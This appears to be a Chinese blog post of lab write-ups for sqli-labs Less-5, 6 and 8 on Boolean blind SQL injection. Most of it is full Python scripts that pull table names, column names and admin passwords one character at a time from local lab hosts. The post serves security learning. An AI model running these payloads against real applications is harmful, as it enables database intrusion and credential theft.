SQL-labs布林注入
阿新 • • 發佈：2021-08-08
Less-5
-
確定注入點
-
對注入點測試獲取原始注入利用工具
- 由此可以看出是字元型注入需要閉合引號
檢視正確和不正確的情況
正確：
不正確：
-
Python程式碼編寫自動化注入
構造：
檢視資料表：
-1'/**/or/**/mid((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),1,1)='a# 獲取資料庫中資料表名稱 print("資料表為：") for n in range(0,4): table_name = '' for i in range(1,20): for char in chars: params={ "id":"-1'or/**/mid((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/"+str(n)+",1),"+str(i)+",1)='"+str(char) } r=requests.get(url=url,params=params) # print(r.request.url) if len(r.text) == 704: table_name += char print(table_name)檢視欄位名：
-1'/**/or/**/mid((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='admin'/**/limit/**/0,1),1,1)='a# 獲取欄位名 print("表中欄位名為：") for x in range(0,10): column_name='' for m in range(1,20): for char in chars: params={ "id":"-1'or/**/mid((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='admin'/**/limit/**/"+str(x)+",1),"+str(m)+",1)='"+str(char) } l=requests.get(url=url,params=params) # print(len(l.text)) # print(l.request.url) if len(l.text)==704: column_name += char if(len(column_name)!=0): print(column_name)檢視admin表中password的內容
-1'or/**/mid((select/**/password/**/from/**/admin/**/limit/**/0,1),1,1)='f# 獲取內容 print("內容為：") for n in range(0,10): password_value = '' for i in range(1,50): for char in chars: params={ "id":"-1'or/**/mid((select/**/password/**/from/**/admin/**/limit/**/"+str(n)+",1),"+str(i)+",1)='"+str(char) } r=requests.get(url=url,params=params) # print(r.request.url) if len(r.text)==704: password_value += char print(password_value) -
完整的python程式碼：
import requests chars="}{-0123456789qwertyuiopasdfghjklzxcvbnm" url="http://sql-liab/Less-5/index.php" # 獲取資料庫中資料表名稱 print("資料表為：") for n in range(0,4): table_name = '' for i in range(1,20): for char in chars: params={ "id":"-1'or/**/mid((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/"+str(n)+",1),"+str(i)+",1)='"+str(char) } r=requests.get(url=url,params=params) # print(r.request.url) if len(r.text) == 704: table_name += char print(table_name) # 獲取欄位名 print("表中欄位名為：") for x in range(0,10): column_name='' for m in range(1,20): for char in chars: params={ "id":"-1'or/**/mid((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='admin'/**/limit/**/"+str(x)+",1),"+str(m)+",1)='"+str(char) } l=requests.get(url=url,params=params) # print(len(l.text)) # print(l.request.url) if len(l.text)==704: column_name += char if(len(column_name)!=0): print(column_name) # 獲取內容 print("內容為：") for n in range(0,10): password_value = '' for i in range(1,50): for char in chars: params={ "id":"-1'or/**/mid((select/**/password/**/from/**/admin/**/limit/**/"+str(n)+",1),"+str(i)+",1)='"+str(char) } r=requests.get(url=url,params=params) # print(r.request.url) if len(r.text)==704: password_value += char if(len(password_value)!=0): print(password_value) -
程式碼審計階段：
Less-6
-
判斷注入型別
-1"- 需要閉合雙引號
-
構造：
import requests url="http://sql-liab/Less-6/index.php" chars="qwertyuiop{}asdfghjklzxcvbnm1234567890-" # 獲得表名 print("表名為：") for n in range(0,5): table_name = "" for m in range(1,20): for char in chars: params={ "id":'-1"/**/or/**/ord(mid((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/'+str(n)+',1),'+str(m)+',1))='+str(ord(char))+'#' } r=requests.get(url=url,params=params) # print(r.request.url) # print(len(r.text)) if len(r.text)== 702: table_name += char if len(table_name) != 0: print(table_name) # 獲得欄位名 print("欄位為：") for n in range(0,10): column_name= '' for m in range(1,20): for char in chars: params={ "id":'-1"/**/or/**/ord(mid((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name=0x61646D696E/**/limit/**/'+str(n)+',1),'+str(m)+',1))='+str(ord(char))+'#' } r=requests.get(url=url,params=params) # print(r.request.url) if(len(r.text))==702: column_name += char if len(column_name)!=0: print(column_name) # 獲得內容 print("flag為：") for n in range(0,10): password_value='' for m in range(1,50): for char in chars: params={ "id":'-1"/**/or/**/ord(mid((select/**/password/**/from/**/admin/**/limit/**/'+str(n)+',1),'+str(m)+',1))='+str(ord(char))+'#' } r=requests.get(url=url,params=params) # print(r.request.url) if len(r.text)==702: password_value += char if len(password_value)!=0: print(password_value) -
程式碼審計
Less-8
-
判斷注入型別
1' and 1=1--+ -
python自動化注入編寫
mport requests url="http://localhost/Less-8/" chars="}{134567890-qwertyuiopasdfghjklzxcvbnm" # 706 #獲取表名 for n in range(0,10): table_name="" for m in range(1,20): for char in chars: params={ "id":"1'and/**/mid((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/"+str(n)+",1),"+str(m)+",1)='"+str(char)+"'#" } r=requests.get(url=url,params=params) # print(len(r.text)) # print(r.request.url) if len(r.text)==706: table_name +=char if len(table_name)!=0: print(table_name) # 獲取欄位 for n in range(0,10): column_name= "" for m in range(1,20): for char in chars: params={ "id":"1'and/**/mid((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='admin'/**/limit/**/"+str(n)+",1),"+str(m)+",1)='"+str(char)+"'#" } r=requests.get(url=url,params=params) # print(len(r.text)) # print(r.request.url) if len(r.text)==706: column_name +=char if len(column_name)!=0: print(column_name) # 獲取字元 for n in range(0,10): password_value="" for m in range(1,50): for char in chars: params={ "id":"1'and/**/mid((select/**/password/**/from/**/admin/**/limit/**/"+str(n)+",1),"+str(m)+",1)='"+str(char)+"'#" } r=requests.get(url=url,params=params) # print(len(r.text)) # print(r.request.url) if len(r.text)==706: password_value +=char if len(password_value)!=0: print(password_value) -
程式碼審計